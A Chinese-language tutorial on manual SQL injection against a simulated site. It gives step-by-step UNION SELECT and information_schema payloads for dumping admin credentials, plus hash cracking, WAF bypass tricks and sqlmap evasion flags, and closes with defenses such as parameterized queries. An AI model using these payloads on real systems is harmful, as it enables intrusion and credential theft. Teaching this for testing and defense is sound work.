资讯详情 SQL注入获取后台管理员账号密码:从注入点发现到完整攻击链路实操
📅 2026/10/15 22:04:33
1. 从一条登录框说起SQL注入到底在打什么很多人第一次听到“SQL注入获取后台管理员账号密码”这个说法脑子里浮现的画面是黑底绿字的终端、飞速滚动的代码然后“叮”一声密码就到手了。实际情况没那么玄乎但也确实比大多数人想象的要直接。SQL注入的本质是网站没有把用户输入的数据和数据库要执行的指令分清楚导致你输入的一串字符被数据库当成了命令来执行。打个比方你去餐厅点菜服务员问你“要什么”你说“一份炒饭”这是正常输入。但如果你说“一份炒饭另外把后厨的账本拿给我看看”而服务员真的照做了这就是注入。后台管理员账号密码之所以成为注入攻击的“头号目标”原因很简单拿到它基本等于拿到了整个网站的控制权。后台通常有内容管理、用户管理、文件上传、数据库备份等功能一旦进入攻击者可以做的事情远超普通用户的想象。所以无论是做安全测试还是做防御加固理解这条攻击链路都很有必要。这篇文章面向的是有一定Web基础、想搞清楚SQL注入完整实操流程的读者。我会从注入点的发现讲起一步步拆解如何判断注入类型、如何确定字段数、如何拿到数据库信息、如何定位管理员表、如何提取账号密码最后讲清楚密码拿到之后怎么用、以及作为防守方应该怎么堵住这些口子。整个过程我会用模拟环境来演示所有域名、IP、表名都是虚构的目的是让你理解原理和手法而不是让你去搞破坏。注意本文所有操作均在本地搭建的模拟环境中进行任何未经授权的测试都可能触犯法律。请务必在获得明确授权的目标上操作或者在自己的实验环境里练习。2. 注入点发现与类型判断先搞清楚门在哪2.1 什么样的参数值得试不是所有参数都能注入。一般来说URL里带id、page、cid、news_id这类数字参数的是注入的高发区。比如http://example.com/news.php?id1这种通过GET方式传递数字ID的大概率直接拼接到SQL语句里。还有搜索框、登录框、排序参数、筛选条件都是常见的注入点。我个人的习惯是拿到一个站点先看URL结构。如果参数值是纯数字先试id1看页面是否报错或者内容发生变化。如果参数值是字符串试nametest。这一步不需要工具浏览器地址栏就能做。很多人一上来就掏sqlmap其实手工判断一下能省很多时间也能更准确地理解后端逻辑。判断注入是否存在最经典的几个测试方法单引号测试id1如果页面报SQL语法错误说明单引号被带入了SQL语句存在注入可能。逻辑测试id1 AND 11和id1 AND 12如果前者正常返回、后者返回空或异常基本可以确认注入存在。数字型测试id11如果页面显示的是id2的内容说明参数是数字型且未过滤。2.2 数字型和字符型的区别这个区分很关键因为后续构造payload的方式完全不同。数字型注入参数直接拼接到SQL里不需要闭合引号。字符型注入参数被引号包裹你需要先闭合前面的引号再构造自己的语句。举个例子假设后端SQL是SELECT * FROM news WHERE id $id这是数字型。你输入1 AND 11SQL变成SELECT * FROM news WHERE id 1 AND 11直接生效。如果后端SQL是SELECT * FROM users WHERE username $name这是字符型。你输入admin AND 11SQL变成SELECT * FROM users WHERE username admin AND 11需要处理好引号的闭合。判断方法也很简单数字型注入id1 AND 11正常id1 AND 12异常字符型注入nametest AND 11正常nametest AND 12异常。如果加单引号报错加--注释掉后面内容后恢复正常那基本就是字符型。2.3 注释符的妙用在注入过程中注释符是你的好朋友。MySQL里常用--注意后面有个空格、#或者/* */。它的作用是把你构造的payload后面多余的SQL代码注释掉避免语法错误。比如字符型注入你输入admin--SQL变成SELECT * FROM users WHERE username admin-- 后面的单引号被注释掉了语句合法。如果不加注释符后面的单引号会导致语法错误。实操心得不同数据库的注释符不一样。MySQL用--和#SQL Server用--和/* */Oracle用--。在不确定数据库类型时先试--大部分情况下都能用。3. 字段数确定与回显点定位找到数据输出的窗口3.1 用ORDER BY判断字段数确认注入存在之后下一步是确定当前查询返回几个字段。最常用的方法是ORDER BY。原理很简单ORDER BY 1表示按第一个字段排序ORDER BY 2按第二个以此类推。如果ORDER BY n正常返回ORDER BY n1报错说明当前查询有n个字段。具体操作在注入点后面加ORDER BY 1然后依次递增。比如id1 ORDER BY 1、id1 ORDER BY 2……直到页面报错或者返回异常。假设ORDER BY 5正常ORDER BY 6报错那字段数就是5。这一步看起来简单但有几个坑要注意。有些网站对错误信息做了屏蔽ORDER BY超出字段数时页面可能只是返回空白而不是报错。这时候你需要观察页面内容的变化比如原本有新闻列表的突然变成空白页那大概率就是字段数超了。另外如果注入点是字符型记得先闭合引号再加ORDER BY比如nametest ORDER BY 5--。3.2 用UNION SELECT找回显点知道字段数之后就可以用UNION SELECT来构造联合查询了。UNION的作用是把两个查询的结果合并在一起显示。你需要构造一个和原查询字段数相同的SELECT语句把你想查的数据放到对应的位置。比如字段数是5你可以构造id1 UNION SELECT 1,2,3,4,5。页面会显示原查询的结果加上你构造的结果。但并不是所有位置都会显示在页面上你需要找到哪些数字会出现在页面中这些就是“回显点”。实际操作中我会把数字换成有辨识度的字符串比如id1 UNION SELECT a,b,c,d,e然后看页面上哪个位置出现了这些字母。假设页面上显示了b和d那说明第2和第3个字段是回显点后续查数据就放在这两个位置。注意UNION查询要求前后两个SELECT的字段数必须一致否则会报错。如果原查询是SELECT id, title, content FROM news WHERE id1字段数是3你就必须UNION SELECT 1,2,3不能多也不能少。3.3 数据库版本和当前库名找到回显点之后第一件事是确认数据库类型和版本。MySQL里可以用version()和database()函数。构造id1 UNION SELECT 1,version(),database(),4,5如果第2个回显点显示了版本号第3个显示了库名那你就拿到了关键信息。版本信息很重要因为不同版本的MySQL对系统表的访问权限不同。比如MySQL 5.0以上才有information_schema这个库里面存储了所有表名和字段名。如果是5.0以下的版本就只能靠猜表名了。现在市面上大部分站点都是5.7或8.0所以information_schema基本都能用。当前库名也很关键因为后续查表名、字段名都需要指定在哪个库里查。假设库名是webapp那查表名就是SELECT table_name FROM information_schema.tables WHERE table_schemawebapp。4. 从库名到表名一步步缩小包围圈4.1 利用information_schema查表拿到库名之后下一步是列出这个库里所有的表。MySQL的information_schema.tables表里存储了所有数据库的表信息。构造payloadid1 UNION SELECT 1,group_concat(table_name),3,4,5 FROM information_schema.tables WHERE table_schemawebapp。group_concat()函数的作用是把多行结果合并成一行显示用逗号分隔。这样你就能在一个回显点里看到所有表名。假设返回的是admin,article,user,config那admin表大概率就是管理员表。有时候表名很多一个回显点显示不全可以用limit分页或者用group_concat(table_name SEPARATOR |||)自定义分隔符方便区分。4.2 定位管理员表的关键词表名不一定叫admin可能是manage_user、system_admin、cms_admin、users等等。我的经验是优先找包含admin、manage、user、member这些关键词的表。如果表名是拼音比如guanliyuan那就得靠经验判断了。还有一种情况是表名被混淆过比如admin_2023、sys_user_01。这时候可以结合字段名来判断。先列出所有表然后对可疑的表逐个查字段。4.3 查字段名确认账号密码列假设确定了admin表下一步是查这个表有哪些字段。构造id1 UNION SELECT 1,group_concat(column_name),3,4,5 FROM information_schema.columns WHERE table_nameadmin。返回结果可能是id,username,password,email,last_login。看到username和password目标就很明确了。有些站点密码字段叫pass、pwd、user_pass但万变不离其宗找和账号密码相关的字段名就行。实操心得如果information_schema被禁用了有些站点会做权限限制可以尝试盲注或者报错注入。盲注就是通过页面返回的真假来判断数据比如id1 AND (SELECT ASCII(SUBSTR(username,1,1)) FROM admin LIMIT 1)100根据页面是否正常来判断字符的ASCII码范围。这个过程比较耗时但工具可以自动化。5. 提取管理员账号密码最后一步5.1 直接UNION查询拿数据字段名确认之后直接构造查询id1 UNION SELECT 1,username,password,4,5 FROM admin LIMIT 1。如果回显点在第2和第3个位置你就能直接看到第一个管理员的账号和密码。如果管理员不止一个可以用LIMIT 0,1、LIMIT 1,1逐个取或者用group_concat(username,0x3a,password)一次性把所有账号密码拼出来。0x3a是冒号的十六进制表示用来分隔账号和密码。假设返回的是admin:5f4dcc3b5aa765d61d8327deb882cf99前面的admin是账号后面那串是密码的MD5哈希值。这时候你拿到的不是明文密码而是哈希。5.2 密码哈希的识别与处理常见的密码存储方式有几种哈希类型特征常见场景MD532位十六进制字符老站点、简单CMSSHA140位十六进制字符部分开源系统bcrypt以$2y$或$2a$开头现代框架明文直接可读极不安全的站点MD5和SHA1的哈希值可以通过彩虹表或者在线查询网站反查。比如5f4dcc3b5aa765d61d8327deb882cf99反查出来就是password。bcrypt的哈希基本无法反查只能靠暴力破解成本很高。如果哈希反查不出来可以尝试用hashcat或者john进行字典攻击。但这一步已经超出了SQL注入的范畴属于密码破解的领域了。5.3 后台登录与权限维持拿到账号密码之后找到后台登录地址。常见路径有/admin、/manage、/administrator、/login.php等。用拿到的账号密码登录如果成功进入后台那整个攻击链路就完成了。进入后台之后通常可以做的事情包括上传webshell、修改网站内容、导出数据库、创建新的管理员账号。但这些都是后话本文的重点是注入获取账号密码的过程。注意在实际授权测试中拿到管理员权限后应该立即停止操作并向甲方报告。继续深入操作可能会触犯法律也会给甲方带来不必要的风险。6. 常见问题与排查技巧实录6.1 注入点存在但UNION不成功有时候确认了注入存在但UNION SELECT总是报错。常见原因有几个字段数不对、回显点被过滤、UNION关键字被WAF拦截。排查方法先用ORDER BY重新确认字段数然后用UNION SELECT 1,2,3...逐个测试看是否有关键字被替换或拦截。如果UNION被拦可以尝试UNION ALL SELECT或者大小写混写UnIoN SeLeCt。6.2 回显点不显示数据字段数对了UNION也没报错但页面上就是不显示你查的数据。这种情况通常是回显点不在页面可见区域或者数据被HTML转义了。可以尝试用concat()函数给数据加上标记比如concat(,version(),)方便在页面源码里搜索。另外查看页面源代码有时候数据在HTML注释或者隐藏字段里。6.3 information_schema被禁用有些站点通过权限配置禁用了对information_schema的访问。这时候可以尝试以下替代方案盲注通过布尔条件或时间延迟来判断数据不依赖回显。报错注入利用extractvalue()、updatexml()等函数触发报错在错误信息中带出数据。猜表名根据常见CMS的表名规律猜测比如admin、user、manage。6.4 密码字段加密无法反查如果密码是bcrypt或者加盐哈希反查基本不可能。这时候可以考虑其他路径查admin表里是否有密码提示字段、查是否有找回密码功能、查是否有其他管理员账号使用了弱密码。另外有些站点会在config表或者setting表里存储数据库连接信息拿到数据库账号密码后可以直接连数据库。6.5 常见问题速查表问题现象可能原因解决思路加单引号报错存在字符型注入闭合引号后用--注释ORDER BY报错字段数超出减小数字直到正常UNION报错字段数不一致重新确认字段数回显点无数据数据被转义或隐藏查看源码用concat加标记information_schema报错权限不足改用盲注或报错注入密码无法反查强哈希算法尝试其他管理员或数据库连接信息7. 防守方的视角怎么堵住这些口子聊完攻击手法必须说说防守。毕竟做安全测试的目的是为了加固而不是为了破坏。SQL注入的防御核心就一条把用户输入和SQL指令彻底分开。7.1 参数化查询是根本参数化查询Prepared Statement是防御SQL注入最有效的手段。它的原理是先把SQL语句的结构固定下来再把用户输入作为参数传入数据库不会把参数当成指令执行。比如Java里的PreparedStatement、Python里的cursor.execute(SELECT * FROM users WHERE id %s, (user_id,))都是参数化查询的实现。很多开发者觉得参数化查询麻烦喜欢用字符串拼接这是注入漏洞的根源。只要坚持用参数化查询90%以上的注入问题都能避免。7.2 输入验证与最小权限除了参数化查询还应该做输入验证。比如ID参数只允许数字用户名只允许字母数字下划线超出范围的直接拒绝。另外数据库账号应该遵循最小权限原则Web应用连接数据库的账号只给必要的增删改查权限不要给DROP、FILE等高危权限。7.3 WAF与日志监控WAF可以拦截常见的注入payload但不要依赖WAF作为唯一防线。WAF规则可以被绕过而且有些注入点WAF可能覆盖不到。日志监控也很重要记录所有数据库查询日志发现异常的UNION SELECT、information_schema查询及时告警。实操心得我在做代码审计时发现很多注入漏洞都出现在“老代码”里比如几年前写的某个查询模块后来没人维护但一直在用。所以定期做代码审计和漏洞扫描很有必要不要觉得系统上线了就没问题了。8. 工具与手工的取舍什么时候用什么8.1 手工注入的优势手工注入虽然慢但能让你真正理解每一步的原理。而且有些站点对自动化工具做了防护sqlmap一跑就被封IP手工反而更隐蔽。另外手工注入能灵活应对各种意外情况比如回显点被过滤、关键字被替换这些都需要根据实际情况调整payload。8.2 sqlmap的适用场景sqlmap适合在确认注入存在后快速提取数据。它的--dbs、--tables、--columns、--dump一条龙服务能省很多时间。但sqlmap的流量特征比较明显容易被WAF识别。使用时可以加--delay、--random-agent、--tamper等参数来降低被发现的概率。8.3 我的建议新手先从手工注入练起把每一步的原理搞清楚。等熟练了再用sqlmap提高效率。不要一上来就依赖工具否则遇到工具搞不定的情况就束手无策了。另外无论手工还是工具都要在授权环境下操作不要拿真实站点练手。9. 从注入到后台一条完整的模拟链路为了让你更直观地理解整个过程我把前面的步骤串起来用模拟环境走一遍。假设目标站点是http://test.local/news.php?id1这是一个新闻详情页。第一步测试注入http://test.local/news.php?id1页面返回SQL语法错误确认存在注入。第二步判断类型id1 AND 11正常id1 AND 12返回空确认是数字型注入。第三步确定字段数id1 ORDER BY 5正常id1 ORDER BY 6报错字段数为5。第四步找回显点id1 UNION SELECT 1,2,3,4,5页面显示第2和第3个位置回显点是2和3。第五步查版本和库名id1 UNION SELECT 1,version(),database(),4,5返回版本5.7.30库名news_db。第六步查表名id1 UNION SELECT 1,group_concat(table_name),3,4,5 FROM information_schema.tables WHERE table_schemanews_db返回admin,article,category。第七步查admin表字段id1 UNION SELECT 1,group_concat(column_name),3,4,5 FROM information_schema.columns WHERE table_nameadmin返回id,username,password。第八步提取账号密码id1 UNION SELECT 1,username,password,4,5 FROM admin LIMIT 1返回admin:5f4dcc3b5aa765d61d8327deb882cf99。第九步反查哈希5f4dcc3b5aa765d61d8327deb882cf99对应明文password。第十步登录后台访问http://test.local/admin/login.php输入admin/password成功进入后台。整个过程在本地模拟环境中不到十分钟就能完成。实际环境中可能会遇到各种防护和过滤需要根据情况调整。10. 一些踩过的坑和实用技巧做注入测试这些年踩过的坑不少挑几个有代表性的说说。第一个坑是编码问题。有些站点会对输入做URL编码或者HTML实体编码你输入的可能被转成%27或者#39;导致payload失效。这时候需要先判断编码方式再决定是否用双重编码或者宽字节注入。第二个坑是WAF的规则。有些WAF会拦截包含UNION、SELECT、information_schema的请求。绕过方法有很多比如用/*!50000UNION*/、UNION%0aSELECT、大小写混写等。但要注意绕过WAF可能违反测试授权范围操作前要确认清楚。第三个坑是数据量太大。group_concat()默认有长度限制通常是1024字节。如果表名或字段名太多会被截断。可以用SET SESSION group_concat_max_len 100000来扩大限制或者用LIMIT分页查询。第四个坑是时间盲注的效率。如果只能用时间盲注一个字符一个字符地猜速度非常慢。可以用二分法加速比如先判断ASCII码是否大于100再判断是否大于150逐步缩小范围。工具自动化处理这个逻辑会快很多。最后分享一个小技巧在查字段名时如果information_schema.columns被禁用可以尝试用SELECT * FROM admin LIMIT 1然后根据报错信息或者页面显示的内容来推断字段名。有些站点会把查询结果直接显示在页面上即使没有回显点也能通过报错信息获取字段名。这篇文章的内容到这里就差不多了。SQL注入获取后台管理员账号密码说到底就是一个“把输入变成指令”的过程。理解了这个核心剩下的就是熟练度和经验积累。希望这篇内容能帮你建立起完整的知识框架在实际工作中既能攻也能防。